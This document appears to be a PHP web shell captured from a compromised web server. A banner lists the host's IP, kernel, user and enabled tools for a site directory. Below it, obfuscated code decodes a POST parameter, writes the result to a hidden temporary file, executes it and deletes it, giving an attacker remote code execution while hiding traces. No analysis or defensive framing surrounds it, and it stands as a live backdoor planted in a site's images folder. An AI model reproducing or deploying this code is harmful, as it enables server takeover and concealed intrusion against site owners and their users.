| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/images/ |
Upload File : |
<?php
if(isset($_POST["rec"])){
$ptr = $_POST["rec"];
$ptr = explode ( '.' , $ptr ) ;
$item ='';
$s2 ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen( $s2);
$j =0;
$__tmp =$ptr;
while( $v4 =array_shift( $__tmp)) {
$sChar =ord( $s2[$j % $sLen]);
$d =( ( int)$v4 - $sChar -( $j % 10)) ^ 34;
$item .= chr( $d);
$j++;
}
$key = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]);
foreach ($key as $flg):
if (is_writable($flg) && is_dir($flg)) {
$element = vsprintf("%s/%s", [$flg, ".res"]);
if (@file_put_contents($element, $item) !== false) {
include $element;
unlink($element);
die();
}
}
endforeach;
}